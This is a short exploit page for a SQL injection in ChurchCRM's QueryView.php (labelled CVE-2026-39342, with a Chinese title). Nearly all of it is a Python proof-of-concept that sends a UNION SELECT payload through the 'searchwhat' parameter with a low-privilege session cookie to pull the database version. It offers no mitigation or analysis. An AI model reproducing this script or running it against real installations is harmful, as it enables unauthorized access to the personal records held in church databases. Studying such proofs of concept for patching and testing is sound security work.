CVE-2026-39342: ChurchCRM SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-churchcrm.com/QueryView.php" # SQL Injection Payload: Using UNION SELECT to extract database version # Adjust the number of columns based on the original query structure payload = "test' UNION SELECT 1, version(), 3, 4, 5, 6, 7-- -" # Vulnerable Parameters params = { "QueryID": "15", # Required to trigger the vulnerable query logic "searchwhat": payload # The injection point } # Authentication Cookies (Low-privilege user required) cookies = { "CRM_Session": "valid_low_privilege_cookie_here" } try: # Sending the malicious request response = requests.get(target_url, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:500]) # Check response for DB version or errors else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")